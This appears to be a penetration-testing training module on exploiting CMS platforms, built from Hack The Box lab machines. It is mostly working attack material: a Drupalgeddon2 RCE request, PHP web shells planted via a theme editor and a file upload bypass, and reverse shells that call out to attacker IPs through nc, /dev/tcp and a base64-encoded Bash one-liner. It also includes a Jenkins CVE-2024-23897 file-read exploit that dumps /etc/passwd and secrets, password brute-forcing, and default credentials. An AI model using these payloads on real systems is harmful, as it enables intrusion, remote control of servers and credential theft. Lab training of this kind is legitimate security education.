Back to All Modules

CMS Exploitation

#Overview

Content Management System (CMS) exploitation focuses on attacking widely-deployed platforms like WordPress, Drupal, Joomla, and Jenkins. CMS instances often present a larger attack surface due to plugins, themes, and default configurations. Exploitation typically involves version detection, plugin enumeration, known CVE exploitation, default credential testing, and abuse of CMS-specific features (REST APIs, XML-RPC, script consoles). Successfully exploiting a CMS commonly yields administrative access, file upload capabilities, or direct remote code execution.

#Prerequisites

  • Identified CMS type and version
  • CMS-specific scanning tool (wpscan, joomscan, droopescan, CMSmap)
  • Knowledge of common CMS directory structures and default credentials

#Detection & Enumeration

#CMS Version Detection

# Generic HTTP response headers
curl -sI http://target.htb | grep -iE "x-generator|x-powered-by|server"

# WhatWeb for automated CMS fingerprinting
whatweb http://target.htb
whatweb -a 3 http://target.htb  # Aggressive mode

# Check common CMS indicators
curl -s http://target.htb/robots.txt
curl -s http://target.htb/CHANGELOG.txt
curl -s http://target.htb/readme.html
curl -s http://target.htb/UPGRADING.txt

# WordPress version in meta tags
curl -s http://target.htb | grep -iE 'meta.*generator.*wordpress'

# Check admin panel paths
curl -s -o /dev/null -w '%{http_code}' http://target.htb/wp-admin/
curl -s -o /dev/null -w '%{http_code}' http://target.htb/administrator/
curl -s -o /dev/null -w '%{http_code}' http://target.htb/user/login
curl -s -o /dev/null -w '%{http_code}' http://target.htb/admin/
curl -s -o /dev/null -w '%{http_code}' http://target.htb/jenkins/
BASH

#Default Credentials by CMS

CMSDefault UsernameDefault Password
WordPressadmin(set during install)
Joomlaadminadmin
Drupaladminadmin
Dolibarradminadmin
Jenkinsadmin(from initialAdminPassword file)
Ghost(email-based)(set during install)
Magentoadminadmin123
Concrete5adminadmin

#Exploitation / Execution

#WordPress

# wpscan enumeration
wpscan --url http://target.htb --enumerate p   # Plugins
wpscan --url http://target.htb --enumerate t   # Themes
wpscan --url http://target.htb --enumerate u   # Users
wpscan --url http://target.htb --enumerate vp  # Vulnerable plugins
wpscan --url http://target.htb --enumerate vt  # Vulnerable themes
wpscan --url http://target.htb --enumerate ap  # All plugins (aggressive)
wpscan --url http://target.htb --enumerate at  # All themes (aggressive)

# Brute-force WordPress login
wpscan --url http://target.htb --usernames admin --passwords /usr/share/wordlists/rockyou.txt

# xmlrpc.php abuse -- system.listMethods, wp.getUsersBlogs
curl -X POST http://target.htb/xmlrpc.php \
  -H "Content-Type: text/xml" \
  -d '<methodCall><methodName>system.listMethods</methodName></methodCall>'

# xmlrpc.php brute-force (bypasses rate limiting)
wpscan --url http://target.htb --passwords /usr/share/wordlists/rockyou.txt \
  --usernames admin --wp-content-dir wp-content --force

# Plugin exploitation workflow:
# 1. Identify plugin via wpscan or manual checks
# 2. Check exploit-db for known vulnerabilities
# 3. Search for unauthenticated endpoints in plugin code
curl -s http://target.htb/wp-content/plugins/<plugin>/readme.txt
curl -s http://target.htb/wp-content/plugins/<plugin>/<plugin-version>/

# Theme file editor (post-auth RCE)
# WP Admin > Appearance > Theme Editor > 404.php
# Insert: <?php system($_GET['c']); ?>
# Trigger: http://target.htb/wp-content/themes/<theme>/404.php?c=id

# wp-cron and scheduled tasks
curl -s http://target.htb/wp-cron.php
BASH

#Drupal

# droopescan for Drupal
droopescan scan drupal -u http://target.htb
droopescan scan drupal -u http://target.htb -t 32  # 32 threads

# Drupalgeddon / Drupalgeddon2 / Drupalgeddon3
# CVE-2018-7600 (Drupalgeddon2) -- highly reliable RCE
# Affects Drupal 6, 7, 8 before 8.5.1

# CVE-2018-7600 manual exploitation
curl -X POST 'http://target.htb/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
  -d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id'

# Drupal password hash format: $S$...
# Cracking: hashcat -m 7900

# Default Drupal admin page
curl -s http://target.htb/user/login
BASH

#Joomla

# joomscan enumeration
joomscan -u http://target.htb
joomscan -u http://target.htb --enumerate-components

# Joomla version detection
curl -s http://target.htb/administrator/manifests/files/joomla.xml
curl -s http://target.htb/language/en-GB/en-GB.xml

# Component-specific exploitation
# Common vulnerable components: com_users, com_media, com_fields
# Check configuration.php for database credentials (post-RCE)

# Joomla password hash format: $2y$...
BASH

#Dolibarr (BoardLight HTB Technique)

# Dolibarr version detection: check footer or page source
# Default credentials: admin:admin

# CVE-2023-30253 -- authenticated RCE via uppercase PHP tags
# Dolibarr < 17.0.1 allows PHP code execution using <?PHP instead of <?php

# Exploitation steps:
# 1. Login with admin:admin
# 2. Navigate to Website tab
# 3. Create a new website
# 4. Add a page via the Pages section using a template
# 5. Edit HTML source, inject PHP code with uppercase tags
BASH
<!-- Payload: <?PHP tag bypasses the lowercase <?php filter -->
<?PHP echo system("whoami");?>

<!-- Reverse shell payload via named pipe (BoardLight HTB) -->
<?PHP echo system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.41 4455 >/tmp/f");?>
PHP
# After injecting payload, view the page to trigger execution
# The page URL is generated by Dolibarr in the website section
# Start listener before viewing: nc -lnvp 4455

# Stabilize the shell
script /dev/null -c /bin/bash
# Ctrl+Z
stty -raw echo; fg
# Enter x2

# Post-exploitation: check Dolibarr config for database credentials
cat /var/www/html/crm.board.htb/htdocs/conf/conf.php
# $dolibarr_main_db_host='localhost';
# $dolibarr_main_db_user='dolibarrowner';
# $dolibarr_main_db_pass='serverfun2$2023!!';
BASH

#Jenkins (Builder HTB Technique)

# Jenkins version detection: bottom of the page, or /about
# Default port: 8080
# CVE-2024-23897 -- Unauthenticated arbitrary file read via CLI

# Download jenkins-cli.jar from the target
wget http://10.129.230.220:8080/jnlpJars/jenkins-cli.jar

# Read arbitrary files via the help command exploit
java -jar jenkins-cli.jar -noCertificateCheck \
  -s 'http://10.129.230.220:8080' help "@/etc/passwd"
# ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

# Read /proc/self/environ for HOME directory
java -jar jenkins-cli.jar -noCertificateCheck \
  -s 'http://10.129.230.220:8080' help "@/proc/self/environ"
# HOSTNAME=0f52c222a4cc...HOME=/var/jenkins_home...

# Extract user flag
java -jar jenkins-cli.jar -noCertificateCheck \
  -s 'http://10.129.230.220:8080' help "@/var/jenkins_home/user.txt"

# Enumerate Jenkins users from users/ directory
# /var/jenkins_home/users/users.xml
# /var/jenkins_home/users/<username>/config.xml

# Extract encrypted credentials from config.xml
# Jenkins stores credentials encrypted with the master key and instance secret
# Decrypt offline using: /var/jenkins_home/secrets/master.key
# and /var/jenkins_home/secrets/hudson.util.Secret

# Post-auth Groovy shell (Script Console)
# http://target.htb:8080/script
# Groovy reverse shell payload:
def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'bash -c "bash -i >& /dev/tcp/10.10.14.40/4444 0>&1"'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

# Alternative: Jenkins pipeline job with shell execution
# Create a pipeline job with a shell build step
BASH

#Ghost (CMS)

# Ghost version detection
curl -s http://target.htb/ghost/api/v0.1/site/ | jq

# CVE-2023-40028 -- directory traversal in Ghost < 5.59.1
# Allows reading arbitrary files accessible by the Ghost user
curl -s 'http://target.htb/ghost/api/v3/admin/themes/?source=../../../etc/hosts'

# Ghost admin panel
curl -s http://target.htb/ghost/
BASH

#CMS-Specific File Paths

# WordPress config
/var/www/html/wp-config.php
/var/www/wordpress/wp-config.php

# Drupal config
/var/www/html/sites/default/settings.php

# Joomla config
configuration.php (in webroot)

# Dolibarr config
htdocs/conf/conf.php

# Jenkins
/var/jenkins_home/secrets/master.key
/var/jenkins_home/secrets/initialAdminPassword
/var/jenkins_home/users/users.xml
/var/jenkins_home/credentials.xml
BASH

#Laravel Admin Package Exploitation (Usage HTB Technique)

# Laravel admin panel (encore/laravel-admin) -- CVE-2023-24249
# Arbitrary file upload in avatar settings

# Exploitation flow:
# 1. Create PHP webshell, rename to .jpg
echo '<?php system($_GET["melo"]); ?>' > shell.jpg

# 2. Upload via admin avatar setting
# 3. Intercept in Burp, change filename parameter from shell.jpg to shell.jpg.php
# 4. Forward the request

# 5. Access the uploaded webshell
curl 'http://admin.usage.htb/uploads/images/shell.jpg.php?melo=id'
# uid=1000(dash) gid=1000(dash) groups=1000(dash)

# 6. Upgrade to reverse shell via base64-encoded payload
# Generate at revshells.com (Bash -i, sh shell, base64 encoding)
echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx' | base64 -d
# sh -i >& /dev/tcp/10.10.14.30/4444 0>&1

curl 'http://admin.usage.htb/uploads/images/shell.jpg.php?melo=echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzAvNDQ0NCAwPiYx | base64 -d | bash'
BASH

#Common Pitfalls

  • wpscan API limit reached -- use --no-banner and rate limiting, or manual enumeration
  • CMS behind WAF blocking scans -- use passive fingerprinting via HTML meta tags
  • Admin panel redirecting to different subdomain -- add subdomain to /etc/hosts (Usage HTB: admin.usage.htb)
  • Plugin source not available -- enumeration may require fuzzing plugin directory paths
  • Default credentials changed -- fall back to brute-force, SQLi, or forgotten password functionality
  • Encrypted Jenkins credentials -- need both master.key and hudson.util.Secret for offline decryption

#OPSEC Considerations

  • CMS scanners generate high volumes of requests to predictable paths
  • wp-login.php brute-force is heavily monitored and rate-limited
  • xmlrpc.php amplification attacks are a known signature
  • CMS version disclosure in meta tags helps defenders patch
  • Changing avatar/settings generates log entries in CMS audit trails

#Post-Exploitation Value

  • Administrative access to all CMS content and users
  • File upload capabilities for webshell deployment
  • Database credential extraction from CMS configuration files
  • Plugin/theme modification for persistent access
  • User impersonation and lateral movement

#Cross-References

#Tool References

ToolLink
wpscanhttps://github.com/wpscanteam/wpscan
droopescanhttps://github.com/SamJoan/droopescan
joomscanhttps://github.com/OWASP/joomscan
CMSmaphttps://github.com/Dionach/CMSmap
CMSeeKhttps://github.com/Tuhinshubhra/CMSeeK
whatwebhttps://github.com/urbanadventurer/WhatWeb

#Source Machines

  • BoardLight (Easy, Linux) -- Dolibarr v17.0.0, CVE-2023-30253, <?PHP uppercase bypass, admin:admin default credentials
  • Usage (Easy, Linux) -- Laravel admin package v1.8.18, CVE-2023-24249 arbitrary file upload, extension filter bypass via proxy interception
  • Builder (Medium, Linux) -- Jenkins v2.441, CVE-2024-23897 unauthenticated file read via jenkins-cli.jar